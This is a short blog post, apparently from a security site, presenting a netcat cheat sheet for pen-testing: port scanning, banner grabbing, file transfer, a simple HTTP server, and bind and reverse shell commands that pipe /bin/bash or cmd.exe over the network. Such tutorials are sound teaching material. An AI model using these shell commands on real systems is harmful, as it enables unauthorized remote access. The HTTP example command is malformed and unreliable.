Categories: hackinglinuxwindows

Netcat – the net kitty!

Netcat is a tiny tool for linux and windows and it is used for reading and writing data across network connections using TCP or UDP. It has amazing features and it is a must-have tool for pen-testing. It is called the “Swiss-army knife for TCP/IP”.

Netcat is a terminal application with many features. Apart from basic telnet functions, it can do various other things like port scanning, banner grabbing, creating socket servers to listen for incoming connections on ports, transfer files from the terminal, etc.

netcat help page

Basic Commands

TCP Port – Connecting (adding -u will force udp)
nc -nv <ip> <port>

TCP Port – Listening (adding -u will force udp)
nc -lvp <port>

Connect and return HTTP Page
nc -nv 80 HEAD / HTTP/1.1

File Transfer

nc -lvp 4444 > output.txt # Receivers side
nc -nv <ip> <port> < input.txt # Senders side

Port Scanning

nc -zv <site.com> 80-84

Banner Grabbing

echo "" | nc -nv -w1 <ip> <port>

Remote shell

Target:
nc -vlp 7777 -e /bin/bash (linux)
nc -vlp 7777 -e cmd.exe (windows)

Remote:
nc <ip> 7777

Reverse Shell

Remote:
$ nc -v -l -p 8888
Target:
nc <ip> 8888 -e /bin/bash (linux)
nc <ip> 8888 -e cmd.exe (windows)

HTTP Server

while true; do nc -l -p 80 -q 1 < index.html; done
Create an ‘index.html’:
<!doctype html>
<html>
Hello world
</html>

Extra resource:
-SANS Netcat Cheatsheet -> Download

panosnet

Share
Published by
panosnet

Recent Posts

Cryptic Bitcoin Transaction Unfolds: Revisiting Satoshi Nakamoto’s Genesis Wallet in a $1.17 Million Transaction

Introduction: In the early hours of January 5, the cryptocurrency community was abuzz with speculation…

3 months ago

Emerging Threat: SMTP Smuggling Exploits Flaws in Major Email Servers – how to spoof like a pro!

Summary: A newly identified technique called SMTP smuggling poses a significant threat to email security…

4 months ago

Unraveling the Operation Triangulation Spyware: A Deep Dive into iPhone Exploits

Since 2019, the Operation Triangulation spyware has targeted iPhone devices, exploiting undocumented features within Apple…

4 months ago

curl – SOCKS5 heap buffer overflow – CVE-2023-38545

The Challenge: CVE-2023-38545 In the world of digital security, a formidable adversary has emerged -…

6 months ago

Safeguard Your Confluence for an Urgent Upgrade!

Alert: Safeguard Your Confluence for an Urgent Upgrade! Advisory Release Date: Wednesday, Oct 4th, 2023,…

6 months ago

Curl new vulnerabilities to be announced on October 11, 2023

Curl, which relies on libcurl, is a widely-used command-line tool for transferring data via URL…

6 months ago

This website uses cookies.